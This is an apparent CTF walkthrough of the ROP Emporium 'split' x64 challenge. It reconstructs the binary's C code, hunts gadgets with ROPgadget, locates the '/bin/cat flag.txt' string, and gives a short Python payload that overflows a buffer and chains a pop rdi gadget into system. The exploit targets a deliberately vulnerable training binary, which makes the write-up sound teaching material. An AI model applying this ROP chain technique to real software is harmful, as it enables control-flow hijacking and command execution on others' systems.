This challenge will pose a much different challenge than the last one. Because this challenge is in x64, parameters are passed via registers rather than the stack. We cannot load these registers without an assembly instruction that loads them. This means we need to hunt for a series of instructions that can load the desired registers with the necessary values before calling functions.
This hunt for instructions that load registers is called gadget hunting, the key challenge of Return Oriented Programming (ROP). A gadget is simply a series of assembly instructions followed by a ret
. Gadget hunting is a tedious task that is now replaced by automated tooling; however, this tooling will not aid us in designing a payload (or ROP Chain) that does our desired tasks.
Sometimes, these challenges get so complicated that we need for
-loops to write out these chains. If you want an example, Challenge 3 | Write-What-Where Challenge 3 demonstrates this.
When we do this challenge, we'll first tackle the initial challenge of overflowing the buffer; then, we'll handle finding gadgets that let us pass arguments.
I challenge you to write equivalent C code to the assembly you see. Practicing this skill is essential to doing Binex independently.
Here is the equivalent C code for the necessary functions (in the order I disassembled them):
int main() { setvbuf(stdout, 0, 0x2, 0); puts("split by ROP Emporium"); puts("x86_64\n"); pwnme(); puts("\nExiting"); return 0; } void pwnme() { memset(rbp-0x20, 0, 0x20); puts("Contriving a reason to ask the user for data..."); printf("> "); read(0, rbp-0x20, 0x60); puts("Thank you!"); } void usefulFunction() { system("/bin/ls"); }
This matches the source code from Natural Jumps (x86). We notice usefulFunction
calls /bin/ls
rather than /bin/cat flag.txt
. We need to call system
but ensure the address of /bin/cat flag.txt
is used as the parameter rather than the address of /bin/ls
.
Because we need to change the first argument we use to pass into system
, we must control $rdi
.
We must find a series of instructions to control $rdi
. The best instruction to do this is pop rdi
. This is because it takes a value directly from the stack and places it inside $rdi
. A mov rdi, QWORD PTR [rbp-offset]
works too, but this often gets tricky to format exactly where it belongs inside the chain.
To find gadgets, the two popular choices are ropper
and ROPgadget
. I mainly use ROPgadget
because it has better native filtering capabilities.
To show all gadgets, we can use:
ROPgadget --binary chall
This will yield a long list of all gadgets that the tool could find. This often isn't helpful, so we filter for a series of values. In this case, I want to filter down for mainly useful things.
ROPgadget --binary chall --only "pop|ret"
This results in the following list:
$ ROPgadget --binary chall --only "pop|ret" Gadgets information ============================================================ 0x00000000004007bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007be : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007c0 : pop r14 ; pop r15 ; ret 0x00000000004007c2 : pop r15 ; ret 0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400618 : pop rbp ; ret 0x00000000004007c3 : pop rdi ; ret 0x00000000004007c1 : pop rsi ; pop r15 ; ret 0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040053e : ret 0x0000000000400542 : ret 0x200a Unique gadgets found: 12
We see there's a perfect gadget that loads rdi
with a value from the stack (aka from our payload) and then immediately calls ret
:
0x00000000004007c3 : pop rdi ; ret
This will be the gadget we use.
Once we have this, we must decide what to put in rdi
. In this case, we know we want to simulate putting /bin/cat flag.txt
inside rdi
so that system
uses that as our argument rather than /bin/ls
.
Let's find that string using search-pattern
:
gef➤ search-pattern "/bin/cat flag.txt" [+] Searching '/bin/cat flag.txt' in memory [+] In '/ironforge/chall'(0x601000-0x602000), permission=rw- 0x601060 - 0x601071 → "/bin/cat flag.txt"
From here, we can format our payload and write our exploit.
We now need to format the exploit. We need to write the payload to do the following (in this order):
rdi
with /bin/cat flag.txt
call system@plt
inside usefulFunction
Let's see what this payload would look like:
f_usefulFunction = 0x40074b g_popRdi = 0x4007c3 # pop rdi ; ret a_flag = 0x601060 # /bin/cat flag.txt # overflow the buffer payload = b'A' * 40 # use pop rdi; ret; gadget payload += p64(g_popRdi) payload += p64(a_flag) # jump to call system@plt payload += p64(f_usefulFunction)
Running this payload successfully makes the correct jumps and gives us the flag!